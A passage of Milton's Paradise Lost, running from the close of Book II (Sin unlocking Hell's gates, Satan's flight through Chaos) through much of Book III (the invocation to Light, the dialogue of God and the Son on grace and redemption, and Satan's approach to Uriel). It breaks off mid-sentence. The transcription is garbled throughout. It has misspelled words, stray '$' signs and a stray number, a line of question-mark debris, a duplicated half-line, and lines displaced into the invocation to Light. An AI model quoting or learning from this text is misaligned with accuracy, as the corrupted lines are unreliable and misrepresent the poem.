repast; then, bursting forth +Afresh, with conscious terrors vex me round, +That rest or intermission none I find. +Before mine eyes in opposition sits +Grim Death, my son and foe, who set them on, +And me, his parent, would full soon devour +For want of other prey, but that he knows +His end with mine involved, and knows that I +Should prove a bitter morsel, and his bane, +Whenever that shall be: so Fate pronounced. +But thou, O father, I forewarn thee, shun +His deadly arrow; neither vainly hope +To be invulnerable in those bright arms, +Through tempered heavenly; for that mortal dint, +Save he who reigns above, none can resist." + She finished; and the subtle Fiend his lore +Soon learned, now milder, and thus answered smooth:-- + "Dear daughter--since thou claim'st me for thy sire, +And my fair son here show'st me, the dear pledge +Of dalliance had with thee in Heaven, and joys +Then sweet, now sad to mention, through dire change +Befallen us unforeseen, unthought-of--know, +I come no enemy, but to set free +From out this dark and dismal house of pain +Both him and thee, and all the heavenly host +Of Spirits that, in our just pretences armed, +Fell with us from on high. From them I go +This uncouth errand sole, and one for all +Myself expose, with lonely steps to tread +Th' unfounded Deep, and through the void immense +To search, with wandering quest, a place foretold +Should be--and, by concurring signs, ere now +Created vast and round--a place of bliss +In the purlieus of Heaven; and therein placed +A race of upstart creatures, to supply +Perhaps our vacant room, though more removed, +Lest Heaven, surcharged with potent multitude, +Might hap to move new broils. Be this, or aught +Than this more secret, now designed, I haste +To know; and, this once known, shall soon return, +And bring ye to the place where thou and Death +Shall dwell at ease, and up and down unseen +Wing silently the buxom air, embalmed +With odours. There ye shall be fed and filled +Immeasurably; all things shall be your prey." + He ceased; for both seemed highly pleased, and Death +Grinned horrible a ghastly smile, to hear +His famine should be filled, and blessed his maw +Destined to that good hour. No less rejoiced +His mother bad, and thus bespake her sire:-- + "The key of this infernal Pit, by due +And by command of Heaven's all-powerful King, +I keep, by him forbidden to unlock +These adamantine gates; against all force +Death ready stands to interpose his dart, +Fearless to be o'ermatched by living might. +But what owe I to his commands above, +Who hates me, and hath hither thrust me down +Into this gloom of Tartarus profound, +To sit in hateful office here confined, +Inhabitant of Heaven and heavenly born-- +Here in perpetual agony and pain, +With terrors and with clamours compassed round +Of mine own brood, that on my bowels feed? +Thou art my father, thou my author, thou +My being gav'st me; whom should I obey +But thee? whom follow? Thou wilt bring me soon +To that new world of light and bliss, among +The gods who live at ease, where I shall reign +At thy right hand voluptuous, as beseems +Thy daughter and thy darling, without end." + Thus saying, from her side the fatal key, +Sad instrument of all our woe, she took; +And, towards the gate rolling her bestial train, +Forthwith the huge portcullis high up-drew, +Which, but herself, not all the Stygian Powers +Could once have moved; then in the key-hole turns +Th' intricate wards, and every bolt and bar +Of massy iron or solid rock with ease +Unfastens. On a sudden open fly, +With impetuous recoil and jarring sound, +Th' infernal doors, and on their hinges grate +Harsh thunder, that the lowest bottom shook +Of Erebus. She opened; but to shut +Excelled her power: the gates wide open stood, +That with extended wings a bannered host, +Under spread ensigns marching, mibht pass through +With horse and chariots ranked in loose array; +So wide they stood, and like a furnace-mouth +Cast forth redounding smoke and ruddy flame. +Before their eyes in sudden view appear +The secrets of the hoary Deep--a dark +Illimitable ocean, without bound, +Without dimension; where length, breadth, and height, +And time, and place, are lost; where eldest Night +And Chaos, ancestors of Nature, hold +Eternal anarchy, amidst the noise +Of endless wars, and by confusion stand. +For Hot, Cold, Moist, and Dry, four champions fierce, +Strive here for mastery, and to battle bring +Their embryon atoms: they around the flag +Of each his faction, in their several clans, +Light-armed or heavy, sharp, smooth, swift, or slow, +Swarm populous, unnumbered as the sands +Of Barca or Cyrene's torrid soil, +Levied to side with warring winds, and poise +Their lighter wings. To whom these most adhere +He rules a moment: Chaos umpire sits, +And by decision more embroils the fray +By which he reigns: next him, high arbiter, +Chance governs all. Into this wild Abyss, +The womb of Nature, and perhaps her grave, +Of neither sea, nor shore, nor air, nor fire, +But all these in their pregnant causes mixed +Confusedly, and which thus must ever fight, +Unless th' Almighty Maker them ordain +His dark materials to create more worlds-- +Into this wild Abyss the wary Fiend +Stood on the brink of Hell and looked a while, +Pondering his voyage; for no narrow frith +He had to cross. Nor was his ear less pealed +With noises loud and ruinous (to compare +Great things with small) than when Bellona storms +With all her battering engines, bent to rase +Some capital city; or less than if this frame +Of Heaven were falling, and these elements +In mutiny had from her axle torn +The steadfast Earth. At last his sail-broad vans +He spread for flight, and, in the surging smoke +Uplifted, spurns the ground; thence many a league, +As in a cloudy chair, ascending rides +Audacious; but, that seat soon failing, meets +A vast vacuity. All unawares, +Fluttering his pennons vain, plumb-down he drops +Ten thousand fathom deep, and to this hour +Down had been falling, had not, by ill chance, +The strong rebuff of some tumultuous cloud, +Instinct with fire and nitre, hurried him +As many miles aloft. That fury stayed-- +Quenched in a boggy Syrtis, neither sea, +Nor good dry land--nigh foundered, on he fares, +Treading the crude consistence, half on foot, +Half flying; behoves him now both oar and sail. +As when a gryphon through the wilderness +With winged course, o'er hill or moory dale, +Pursues the Arimaspian, who by stealth +Had from his wakeful custody purloined +The guarded gold; so eagerly the Fiend +O'er bog or steep, through strait, rough, dense, or rare, +With head, hands, wings, or feet, pursues his way, +And swims, or sinks, or wades, or creeps, or flies. +At length a universal hubbub wild +Of stunning sounds, and voices all confused, +Borne through the hollow dark, assaults his ear +With loudest vehemence. Thither he plies +Undaunted, to meet there whatever Power +Or Spirit of the nethermost Abyss +Might in that noise reside, of whom to ask +Which way the nearest coast of darkness lies +Bordering on light; when straight behold the throne +Of Chaos, and his dark pavilion spread +Wide on the wasteful Deep! With him enthroned +Sat sable-vested Night, eldest of things, +The consort of his reign; and by them stood +Orcus and Ades, and the dreaded name +Of Demogorgon; Rumour next, and Chance, +And Tumult, and Confusion, all embroiled, +And Discord with a thousand various mouths. + T' whom Satan, turning boldly, thus:--"Ye Powers +And Spirtis of this nethermost Abyss, +Chaos and ancient Night, I come no spy +With purpose to explore or to disturb +The secrets of your realm; but, by constraint +Wandering this darksome desert, as my way +Lies through your spacious empire up to light, +Alone and without guide, half lost, I seek, +What readiest path leads where your gloomy bounds +Confine with Heaven; or, if some other place, +From your dominion won, th' Ethereal King +Possesses lately, thither to arrive +I travel this profound. Direct my course: +Directed, no mean recompense it brings +To your behoof, if I that region lost, +All usurpation thence expelled, reduce +To her original darkness and your sway +(Which is my present journey), and once more +Erect the standard there of ancient Night. +Yours be th' advantage all, mine the revenge!" + Thus Satan; and him thus the Anarch old, +With faltering speech and visage incomposed, +Answered: "I know thee, stranger, who thou art-- *** +That mighty leading Angel, who of late +Made head against Heaven's King, though overthrown. +I saw and heard; for such a numerous host +Fled not in silence through the frighted Deep, +With ruin upon ruin, rout on rout, +Confusion worse confounded; and Heaven-gates +Poured out by millions her victorious bands, +Pursuing. I upon my frontiers here +Keep residence; if all I can will serve +That little which is left so to defend, +Encroached on still through our intestine broils +Weakening the sceptre of old Night: first, Hell, +Your dungeon, stretching far and wide beneath; +Now lately Heaven and Earth, another world +Hung o'er my realm, linked in a golden chain +To that side Heaven from whence your legions fell! +If that way be your walk, you have not far; +So much the nearer danger. Go, and speed; +Havoc, and spoil, and ruin, are my gain." + He ceased; and Satan stayed not to reply, +But, glad that now his sea should find a shore, +With fresh alacrity and force renewed +Springs upward, like a pyramid of fire, +Into the wild expanse, and through the shock +Of fighting elements, on all sides round +Environed, wins his way; harder beset +And more endangered than when Argo passed +Through Bosporus betwixt the justling rocks, +Or when Ulysses on the larboard shunned +Charybdis, and by th' other whirlpool steered. +So he with difficulty and labour hard +Moved on, with difficulty and labour he; +But, he once passed, soon after, when Man fell, +Strange alteration! Sin and Death amain, +Following his track (such was the will of Heaven) +Paved after him a broad and beaten way +Over the dark Abyss, whose boiling gulf +Tamely endured a bridge of wondrous length, +From Hell continued, reaching th' utmost orb +Of this frail World; by which the Spirits perverse +With easy intercourse pass to and fro +To tempt or punish mortals, except whom +God and good Angels guard by special grace. + But now at last the sacred influence +Of light appears, and from the walls of Heaven +Shoots far into the bosom of dim Night +A glimmering dawn. Here Nature first begins +Her farthest verge, and Chaos to retire, +As from her outmost works, a broken foe, +With tumult less and with less hostile din; +That Satan with less toil, and now with ease, +Wafts on the calmer wave by dubious light, +And, like a weather-beaten vessel, holds +Gladly the port, though shrouds and tackle torn; +Or in the emptier waste, resembling air, +Weighs his spread wings, at leisure to behold +Far off th' empyreal Heaven, extended wide +In circuit, undetermined square or round, +With opal towers and battlements adorned +Of living sapphire, once his native seat; +And, fast by, hanging in a golden chain, +This pendent World, in bigness as a star +Of smallest magnitude close by the moon. +Thither, full fraught with mischievous revenge, +Accursed, and in a cursed hour, he hies. + + + +Book III + + +Hail, holy Light, offspring of Heaven firstborn, +Or of the Eternal coeternal beam +May I express thee unblam'd? since God is light, +And never but in unapproached light +Dwelt from eternity, dwelt then in thee +Bright effluence of bright essence increate. +Or hear"st thou rather pure ethereal stream, +Whose fountain who shall tell? before the sun, +Before the Heavens thou wert, and at the voice +Of God, as with a mantle, didst invest *** +The rising world of waters dark and deep, +Won from the void and formless infinite. +Thee I re-visit now with bolder wing, +Escap'd the Stygian pool, though long detain'd +In that obscure sojourn, while in my flight +Through utter and through middle darkness borne, +With other notes than to the Orphean lyre +I sung of Chaos and eternal Night; +Taught by the heavenly Muse to venture down +The dark descent, and up to re-ascend, +Though hard and rare: Thee I revisit safe, +And feel thy sovran vital lamp; but thou +Revisit'st not these eyes, that roll in vain +To find thy piercing ray, and find no dawn; +So thick a drop serene hath quench'd their orbs, +Or dim suffusion veil'd. Yet not the more +Cease I to wander, where the Muses haunt, +Clear spring, or shady grove, or sunny hill, +Smit with the love of sacred song; but chief +Thee, Sion, and the flowery brooks beneath, +That wash thy hallow'd feet, and warbling flow, +Nightly I visit: nor sometimes forget +So were I equall'd with them in renown, +Thy sovran command, that Man should find grace; +Blind Thamyris, and blind Maeonides, +And Tiresias, and Phineus, prophets old: +Then feed on thoughts, that voluntary move +Harmonious numbers; as the wakeful bird +Sings darkling, and in shadiest covert hid +Tunes her nocturnal note. Thus with the year +Seasons return; but not to me returns +Day, or the sweet approach of even or morn, +Or sight of vernal bloom, or summer's rose, +Or flocks, or herds, or human face divine; +But cloud instead, and ever-during dark +Surrounds me, from the cheerful ways of men +Cut off, and for the book of knowledge fair +Presented with a universal blank +Of nature's works to me expung'd and ras'd, +And wisdom at one entrance quite shut out. +So much the rather thou, celestial Light, +Shine inward, and the mind through all her powers +Irradiate; there plant eyes, all mist from thence +Purge and disperse, that I may see and tell +Of things invisible to mortal sight. +Now had the Almighty Father from above, +From the pure empyrean where he sits +High thron'd above all highth, bent down his eye +His own works and their works at once to view: +About him all the Sanctities of Heaven +Stood thick as stars, and from his sight receiv'd +Beatitude past utterance; on his right +The radiant image of his glory sat, +His only son; on earth he first beheld +Our two first parents, yet the only two +Of mankind in the happy garden plac'd +Reaping immortal fruits of joy and love, +Uninterrupted joy, unrivall'd love, +In blissful solitude; he then survey'd +Hell and the gulf between, and Satan there +Coasting the wall of Heaven on this side Night +In the dun air sublime, and ready now +To stoop with wearied wings, and willing feet, +On the bare outside of this world, that seem'd +Firm land imbosom'd, without firmament, +Uncertain which, in ocean or in air. +Him God beholding from his prospect high, +Wherein past, present, future, he beholds, +Thus to his only Son foreseeing spake. +Only begotten Son, seest thou what rage +Transports our Adversary? whom no bounds +Prescrib'd no bars of Hell, nor all the chains +Heap'd on him there, nor yet the main abyss +Wide interrupt, can hold; so bent he seems +On desperate revenge, that shall redound +Upon his own rebellious head. And now, +Through all restraint broke loose, he wings his way +Not far off Heaven, in the precincts of light, +Directly towards the new created world, +And man there plac'd, with purpose to assay +If him by force he can destroy, or, worse, +By some false guile pervert; and shall pervert; +For man will hearken to his glozing lies, +And easily transgress the sole command, +Sole pledge of his obedience: So will fall +He and his faithless progeny: Whose fault? +Whose but his own? ingrate, he had of me +All he could have; I made him just and right, +Sufficient to have stood, though free to fall. +Such I created all the ethereal Powers +And Spirits, both them who stood, and them who fail'd; +Freely they stood who stood, and fell who fell. +Not free, what proof could they have given sincere +Of true allegiance, constant faith or love, +Where only what they needs must do appear'd, +Not what they would? what praise could they receive? +What pleasure I from such obedience paid, +When will and reason (reason also is choice) +Useless and vain, of freedom both despoil'd, +Made passive both, had serv'd necessity, +Not me? they therefore, as to right belong$ 'd, +So were created, nor can justly accuse +Their Maker, or their making, or their fate, +As if predestination over-rul'd +Their will dispos'd by absolute decree +Or high foreknowledge they themselves decreed +Their own revolt, not I; if I foreknew, +Foreknowledge had no influence on their fault, +Which had no less proved certain unforeknown. +So without least impulse or shadow of fate, +Or aught by me immutably foreseen, +They trespass, authors to themselves in all +Both what they judge, and what they choose; for so +I form'd them free: and free they must remain, +Till they enthrall themselves; I else must change +Their nature, and revoke the high decree +Unchangeable, eternal, which ordain'd +$THeir freedom: they themselves ordain'd their fall. +The first sort by their own suggestion fell, +Self-tempted, self-deprav'd: Man falls, deceiv'd +By the other first: Man therefore shall find grace, +The other none: In mercy and justice both, +Through Heaven and Earth, so shall my glory excel; +But Mercy, first and last, shall brightest shine. +Thus while God spake, ambrosial fragrance fill'd +All Heaven, and in the blessed Spirits elect +Sense of new joy ineffable diffus'd. +Beyond compare the Son of God was seen +Most glorious; in him all his Father shone +Substantially express'd; and in his face +Divine compassion visibly appear'd, +Love without end, and without measure grace, +Which uttering, thus he to his Father spake. +O Father, gracious was that word which clos'd +Thy sovran command, that Man should find grace; +, that Man should find grace; +For which both Heaven and earth shall high extol +Thy praises, with the innumerable sound +Of hymns and sacred songs, wherewith thy throne +Encompass'd shall resound thee ever blest. +For should Man finally be lost, should Man, +Thy creature late so lov'd, thy youngest son, +Fall circumvented thus by fraud, though join'd +With his own folly? that be from thee far, +That far be from thee, Father, who art judge +Of all things made, and judgest only right. +Or shall the Adversary thus obtain +His end, and frustrate thine? shall he fulfill +His malice, and thy goodness bring to nought, +Or proud return, though to his heavier doom, +Yet with revenge accomplish'd, and to Hell +Draw after him the whole race of mankind, +By him corrupted? or wilt thou thyself +Abolish thy creation, and unmake +For him, what for thy glory thou hast made? +So should thy goodness and thy greatness both +Be question'd and blasphem'd without defence. +To whom the great Creator thus replied. +O son, in whom my soul hath chief delight, +Son of my bosom, Son who art alone. +My word, my wisdom, and effectual might, +All hast thou spoken as my thoughts are, all +As my eternal purpose hath decreed; +Man shall not quite be lost, but sav'd who will; +Yet not of will in him, but grace in me +Freely vouchsaf'd; once more I will renew +His lapsed powers, though forfeit; and enthrall'd +By sin to foul exorbitant desires; +Upheld by me, yet once more he shall stand +On even ground against his mortal foe; +By me upheld, that he may know how frail +His fallen condition is, and to me owe +All his deliverance, and to none but me. +Some I have chosen of peculiar grace, +Elect above the rest; so is my will: +The rest shall hear me call, and oft be warn'd +Their sinful state, and to appease betimes +The incensed Deity, while offer'd grace +Invites; for I will clear their senses dark, +What may suffice, and soften stony hearts +To pray, repent, and bring obedience due. +To prayer, repentance, and obedience due, +Though but endeavour'd with sincere intent, +Mine ear shall not be slow, mine eye not shut. +And I will place within them as a guide, +My umpire Conscience; whom if they will hear, +Light after light, well us'd, they shall attain, +And to the end, persisting, safe arrive. +This my long sufferance, and my day of grace, +They who neglect and scorn, shall never taste; +But hard be harden'd, blind be blinded more, +That they may stumble on, and deeper fall; +And none but such from mercy I exclude. +But yet all is not done; Man disobeying, +Disloyal, breaks his fealty, and sins +Against the high supremacy of Heaven, +Affecting God-head, and, so losing all, +To expiate his treason hath nought left, +But to destruction sacred and devote, +He, with his whole posterity, must die, +Die he or justice must; unless for him +Some other able, and as willing, pay +The rigid satisfaction, death for death. +Say, heavenly Powers, where shall we find such love? +Which of you will be mortal, to redeem +Man's mortal crime, and just the unjust to save? +Dwells in all Heaven charity so dear? +And silence was in Heaven: $ on Man's behalf +He ask'd, but all the heavenly quire stood mute, +Patron or intercessour none appear'd, +Much less that durst upon his own head draw +The deadly forfeiture, and ransom set. +And now without redemption all mankind +Must have been lost, adjudg'd to Death and Hell +By doom severe, had not the Son of God, +In whom the fulness dwells of love divine, +His dearest mediation thus renew'd. +Father, thy word is past, Man shall find grace; +And shall grace not find means, that finds her way, +The speediest of thy winged messengers, +To visit all thy creatures, and to all +Comes unprevented, unimplor'd, unsought? +Happy for Man, so coming; he her aid +Can never seek, once dead in sins, and lost; +Atonement for himself, or offering meet, +Indebted and undone, hath none to bring; +Behold me then: me for him, life for life +I offer: on me let thine anger fall; +Account me Man; I for his sake will leave + Thy bosom, and this glory next to thee + Freely put off, and for him lastly die + Well pleased; on me let Death wreak all his rage. + Under his gloomy power I shall not long + Lie vanquished. Thou hast given me to possess + Life in myself for ever; by thee I live; + Though now to Death I yield, and am his due, + All that of me can die, yet, that debt paid, + $ thou wilt not leave me in the loathsome grave + His prey, nor suffer my unspotted soul + For ever with corruption there to dwell; + But I shall rise victorious, and subdue + My vanquisher, spoiled of his vaunted spoil. + Death his death's wound shall then receive, and stoop + Inglorious, of his mortal sting disarmed; + I through the ample air in triumph high + Shall lead Hell captive maugre Hell, and show +The powers of darkness bound. Thou, at the sight + Pleased, out of Heaven shalt look down and smile, + While, by thee raised, I ruin all my foes; + Death last, and with his carcase glut the grave; + Then, with the multitude of my redeemed, + Shall enter Heaven, long absent, and return, + Father, to see thy face, wherein no cloud + Of anger shall remain, but peace assured + And reconcilement: wrath shall be no more + Thenceforth, but in thy presence joy entire. + His words here ended; but his meek aspect + Silent yet spake, and breathed immortal love + To mortal men, above which only shone + Filial obedience: as a sacrifice + Glad to be offered, he attends the will + Of his great Father. Admiration seized + All Heaven, what this might mean, and whither tend, + Wondering; but soon th' Almighty thus replied. + O thou in Heaven and Earth the only peace + Found out for mankind under wrath, O thou + My sole complacence! Well thou know'st how dear + To me are all my works; nor Man the least, + Though last created, that for him I spare + Thee from my bosom and right hand, to save, + By losing thee a while, the whole race lost. + + 00021053 + Thou, therefore, whom thou only canst redeem, + Their nature also to thy nature join; + And be thyself Man among men on Earth, + Made flesh, when time shall be, of virgin seed, + By wondrous birth; be thou in Adam's room +The head of all mankind, though Adam's son. +As in him perish all men, so in thee, +As from a second root, shall be restored +As many as are restored, without thee none. +His crime makes guilty all his sons; thy merit, +Imputed, shall absolve them who renounce +Their own both righteous and unrighteous deeds, +And live in thee transplanted, and from thee +Receive new life. So Man, as is most just, +Shall satisfy for Man, be judged and die, +And dying rise, and rising with him raise +His brethren, ransomed with his own dear life. +So heavenly love shall outdo hellish hate, +Giving to death, and dying to redeem, +So dearly to redeem what hellish hate +So easily destroyed, and still destroys +In those who, when they may, accept not grace. +Nor shalt thou, by descending to assume +Man's nature, lessen or degrade thine own. +Because thou hast, though throned in highest bliss +Equal to God, and equally enjoying +God-like fruition, quitted all, to save +A world from utter loss, and hast been found +By merit more than birthright Son of God, +Found worthiest to be so by being good, +Far more than great or high; because in thee +Love hath abounded more than glory abounds; +Therefore thy humiliation shall exalt +With thee thy manhood also to this throne: +Here shalt thou sit incarnate, here shalt reign +Both God and Man, Son both of God and Man, +Anointed universal King; all power +I give thee; reign for ever, and assume +Thy merits; under thee, as head supreme, +Thrones, Princedoms, Powers, Dominions, I reduce: +All knees to thee shall bow, of them that bide +In Heaven, or Earth, or under Earth in Hell. +When thou, attended gloriously from Heaven, +Shalt in the sky appear, and from thee send +The summoning Arch-Angels to proclaim +Thy dread tribunal; forthwith from all winds, +The living, and forthwith the cited dead +Of all past ages, to the general doom +Shall hasten; such a peal shall rouse their sleep. +Then, all thy saints assembled, thou shalt judge +Bad Men and Angels; they, arraigned, shall sink +Beneath thy sentence; Hell, her numbers full, +Thenceforth shall be for ever shut. Mean while +The world shall burn, and from her ashes spring +New Heaven and Earth, wherein the just shall dwell, +And, after all their tribulations long, +See golden days, fruitful of golden deeds, +With joy and peace triumphing, and fair truth. +Then thou thy regal scepter shalt lay by, +For regal scepter then no more shall need, +God shall be all in all. But, all ye Gods, +Adore him, who to compass all this dies; +Adore the Son, and honour him as me. +No sooner had the Almighty ceased, but all +The multitude of Angels, with a shout +Loud as from numbers without number, sweet +As from blest voices, uttering joy, Heaven rung +With jubilee, and loud Hosannas filled +The eternal regions: Lowly reverent +Towards either throne they bow, and to the ground +With solemn adoration down they cast +Their crowns inwove with amarant and gold; +Immortal amarant, a flower which once +In Paradise, fast by the tree of life, +Began to bloom; but soon for man's offence +To Heaven removed, where first it grew, there grows, +And flowers aloft shading the fount of life, +And where the river of bliss through midst of Heaven +Rolls o'er Elysian flowers her amber stream; +With these that never fade the Spirits elect +Bind their resplendent locks inwreathed with beams; +Now in loose garlands thick thrown off, the bright +Pavement, that like a sea of jasper shone, +Impurpled with celestial roses smiled. +Then, crowned again, their golden harps they took, +Harps ever tuned, that glittering by their side +Like quivers hung, and with preamble sweet +Of charming symphony they introduce +Their sacred song, and waken raptures high; +No voice exempt, no voice but well could join +Melodious part, such concord is in Heaven. +Thee, Father, first they sung Omnipotent, +Immutable, Immortal, Infinite, +Eternal King; the Author of all being, +Fonntain of light, thyself invisible +Amidst the glorious brightness where thou sit'st +Throned inaccessible, but when thou shadest +The full blaze of thy beams, and, through a cloud +Drawn round about thee like a radiant shrine, +Dark with excessive bright thy skirts appear, +Yet dazzle Heaven, that brightest Seraphim +Approach not, but with both wings veil their eyes. +Thee next they sang of all creation first, +Begotten Son, Divine Similitude, +In whose conspicuous countenance, without cloud +Made visible, the Almighty Father shines, +Whom else no creature can behold; on thee +Impressed the effulgence of his glory abides, +Transfused on thee his ample Spirit rests. +He Heaven of Heavens and all the Powers therein +By thee created; and by thee threw down +The aspiring Dominations: Thou that day +Thy Father's dreadful thunder didst not spare, +Nor stop thy flaming chariot-wheels, that shook +Heaven's everlasting frame, while o'er the necks +Thou drovest of warring Angels disarrayed. +Back from pursuit thy Powers with loud acclaim +Thee only extolled, Son of thy Father's might, +To execute fierce vengeance on his foes, +Not so on Man: Him through their malice fallen, +Father of mercy and grace, thou didst not doom +So strictly, but much more to pity incline: +No sooner did thy dear and only Son +Perceive thee purposed not to doom frail Man +So strictly, but much more to pity inclined, +He to appease thy wrath, and end the strife +Of mercy and justice in thy face discerned, +Regardless of the bliss wherein he sat +Second to thee, offered himself to die +For Man's offence. O unexampled love, +Love no where to be found less than Divine! +Hail, Son of God, Saviour of Men! Thy name +Shall be the copious matter of my song +Henceforth, and never shall my heart thy praise +Forget, nor from thy Father's praise disjoin. +Thus they in Heaven, above the starry sphere, +Their happy hours in joy and hymning spent. +Mean while upon the firm opacous globe +Of this round world, whose first convex divides +The luminous inferiour orbs, enclosed +From Chaos, and the inroad of Darkness old, +Satan alighted walks: A globe far off +It seemed, now seems a boundless continent +Dark, waste, and wild, under the frown of Night +Starless exposed, and ever-threatening storms +Of Chaos blustering round, inclement sky; +Save on that side which from the wall of Heaven, +Though distant far, some small reflection gains +Of glimmering air less vexed with tempest loud: +Here walked the Fiend at large in spacious field. +As when a vultur on Imaus bred, +Whose snowy ridge the roving Tartar bounds, +Dislodging from a region scarce of prey +To gorge the flesh of lambs or yeanling kids, +On hills where flocks are fed, flies toward the springs +Of Ganges or Hydaspes, Indian streams; +But in his way lights on the barren plains +Of Sericana, where Chineses drive +With sails and wind their cany waggons light: +So, on this windy sea of land, the Fiend +Walked up and down alone, bent on his prey; +Alone, for other creature in this place, +Living or lifeless, to be found was none; +None yet, but store hereafter from the earth +Up hither like aereal vapours flew +Of all things transitory and vain, when sin +With vanity had filled the works of men: +Both all things vain, and all who in vain things +Built their fond hopes of glory or lasting fame, +Or happiness in this or the other life; +All who have their reward on earth, the fruits +Of painful superstition and blind zeal, +Nought seeking but the praise of men, here find +Fit retribution, empty as their deeds; +All the unaccomplished works of Nature's hand, +Abortive, monstrous, or unkindly mixed, +Dissolved on earth, fleet hither, and in vain, +Till final dissolution, wander here; +Not in the neighbouring moon as some have dreamed; +Those argent fields more likely habitants, +Translated Saints, or middle Spirits hold +Betwixt the angelical and human kind. +Hither of ill-joined sons and daughters born +First from the ancient world those giants came +With many a vain exploit, though then renowned: +The builders next of Babel on the plain +Of Sennaar, and still with vain design, +New Babels, had they wherewithal, would build: +Others came single; he, who, to be deemed +A God, leaped fondly into Aetna flames, +Empedocles; and he, who, to enjoy +Plato's Elysium, leaped into the sea, +Cleombrotus; and many more too long, +Embryos, and idiots, eremites, and friars +White, black, and gray, with all their trumpery. +Here pilgrims roam, that strayed so far to seek +In Golgotha him dead, who lives in Heaven; +And they, who to be sure of Paradise, +Dying, put on the weeds of Dominick, +Or in Franciscan think to pass disguised; +They pass the planets seven, and pass the fixed, +And that crystalling sphere whose balance weighs +The trepidation talked, and that first moved; +And now Saint Peter at Heaven's wicket seems +To wait them with his keys, and now at foot +Of Heaven's ascent they lift their feet, when lo +A violent cross wind from either coast +Blows them transverse, ten thousand leagues awry +Into the devious air: Then might ye see +Cowls, hoods, and habits, with their wearers, tost +And fluttered into rags; then reliques, beads, +Indulgences, dispenses, pardons, bulls, +The sport of winds: All these, upwhirled aloft, +Fly o'er the backside of the world far off +Into a Limbo large and broad, since called +The Paradise of Fools, to few unknown +Long after; now unpeopled, and untrod. +All this dark globe the Fiend found as he passed, +And long he wandered, till at last a gleam +Of dawning light turned thither-ward in haste +His travelled steps: far distant he descries +Ascending by degrees magnificent +Up to the wall of Heaven a structure high; +At top whereof, but far more rich, appeared +The work as of a kingly palace-gate, +With frontispiece of diamond and gold +Embellished; thick with sparkling orient gems +The portal shone, inimitable on earth +By model, or by shading pencil, drawn. +These stairs were such as whereon Jacob saw +Angels ascending and descending, bands +Of guardians bright, when he from Esau fled +To Padan-Aram, in the field of Luz +Dreaming by night under the open sky +And waking cried, This is the gate of Heaven. +Each stair mysteriously was meant, nor stood +There always, but drawn up to Heaven sometimes +Viewless; and underneath a bright sea flowed +Of jasper, or of liquid pearl, whereon +Who after came from earth, failing arrived +Wafted by Angels, or flew o'er the lake +Rapt in a chariot drawn by fiery steeds. +The stairs were then let down, whether to dare +The Fiend by easy ascent, or aggravate +His sad exclusion from the doors of bliss: +Direct against which opened from beneath, +Just o'er the blissful seat of Paradise, +A passage down to the Earth, a passage wide, +Wider by far than that of after-times +Over mount Sion, and, though that were large, +Over the Promised Land to God so dear; +By which, to visit oft those happy tribes, +On high behests his angels to and fro +Passed frequent, and his eye with choice regard +From Paneas, the fount of Jordan's flood, +To Beersaba, where the Holy Land +Borders on Egypt and the Arabian shore; +So wide the opening seemed, where bounds were set +To darkness, such as bound the ocean wave. +Satan from hence, now on the lower stair, +That scaled by steps of gold to Heaven-gate, +Looks down with wonder at the sudden view +Of all this world at once. As when a scout, +Through dark?;nd desart ways with?oeril gone +All?might,?;t?kast by break of cheerful dawn +Obtains the brow of some high-climbing hill, +Which to his eye discovers unaware +The goodly prospect of some foreign land +First seen, or some renowned metropolis +With glistering spires and pinnacles adorned, +Which now the rising sun gilds with his beams: +Such wonder seised, though after Heaven seen, +The Spirit malign, but much more envy seised, +At sight of all this world beheld so fair. +Round he surveys (and well might, where he stood +So high above the circling canopy +Of night's extended shade,) from eastern point +Of Libra to the fleecy star that bears +Andromeda far off Atlantick seas +Beyond the horizon; then from pole to pole +He views in breadth, and without longer pause +Down right into the world's first region throws +His flight precipitant, and winds with ease +Through the pure marble air his oblique way +Amongst innumerable stars, that shone +Stars distant, but nigh hand seemed other worlds; +Or other worlds they seemed, or happy isles, +Like those Hesperian gardens famed of old, +Fortunate fields, and groves, and flowery vales, +Thrice happy isles; but who dwelt happy there +He staid not to inquire: Above them all +The golden sun, in splendour likest Heaven, +Allured his eye; thither his course he bends +Through the calm firmament, (but up or down, +By center, or eccentrick, hard to tell, +Or longitude,) where the great luminary +Aloof the vulgar constellations thick, +That from his lordly eye keep distance due, +Dispenses light from far; they, as they move +Their starry dance in numbers that compute +Days, months, and years, towards his all-cheering lamp +Turn swift their various motions, or are turned +By his magnetick beam, that gently warms +The universe, and to each inward part +With gentle penetration, though unseen, +Shoots invisible virtue even to the deep; +So wonderously was set his station bright. +There lands the Fiend, a spot like which perhaps +Astronomer in the sun's lucent orb +Through his glazed optick tube yet never saw. +The place he found beyond expression bright, +Compared with aught on earth, metal or stone; +Not all parts like, but all alike informed +With radiant light, as glowing iron with fire; +If metal, part seemed gold, part silver clear; +If stone, carbuncle most or chrysolite, +Ruby or topaz, to the twelve that shone +In Aaron's breast-plate, and a stone besides +Imagined rather oft than elsewhere seen, +That stone, or like to that which here below +Philosophers in vain so long have sought, +In vain, though by their powerful art they bind +Volatile Hermes, and call up unbound +In various shapes old Proteus from the sea, +Drained through a limbeck to his native form. +What wonder then if fields and regions here +Breathe forth Elixir pure, and rivers run +Potable gold, when with one virtuous touch +The arch-chemick sun, so far from us remote, +Produces, with terrestrial humour mixed, +Here in the dark so many precious things +Of colour glorious, and effect so rare? +Here matter new to gaze the Devil met +Undazzled; far and wide his eye commands; +For sight no obstacle found here, nor shade, +But all sun-shine, as when his beams at noon +Culminate from the equator, as they now +Shot upward still direct, whence no way round +Shadow from body opaque can fall; and the air, +No where so clear, sharpened his visual ray +To objects distant far, whereby he soon +Saw within ken a glorious Angel stand, +The same whom John saw also in the sun: +His back was turned, but not his brightness hid; +Of beaming sunny rays a golden tiar +Circled his head, nor less his locks behind +Illustrious on his shoulders fledge with wings +Lay waving round; on some great charge employed +He seemed, or fixed in cogitation deep. +Glad was the Spirit impure, as now in hope +To find who might direct his wandering flight +To Paradise, the happy seat of Man, +His journey's end and our beginning woe. +But first he casts to change his proper shape, +Which else might work him danger or delay: +And now a stripling Cherub he appears, +Not of the prime, yet such as in his face +Youth smiled celestial, and to every limb +Suitable grace diffused, so well he feigned: +Under a coronet his flowing hair +In curls on either cheek played; wings he wore +Of many a coloured plume, sprinkled with gold; +His habit fit for speed succinct, and held +Before his decent steps a silver wand. +He drew not nigh unheard; the Angel bright, +Ere he drew nigh, his radiant visage turned, +Admonished by his ear, and straight was known +The Arch-Angel Uriel, one of the seven +Who in God's presence, nearest to his throne, +Stand ready at command, and are his eyes +That run through all the Heavens, or down to the Earth 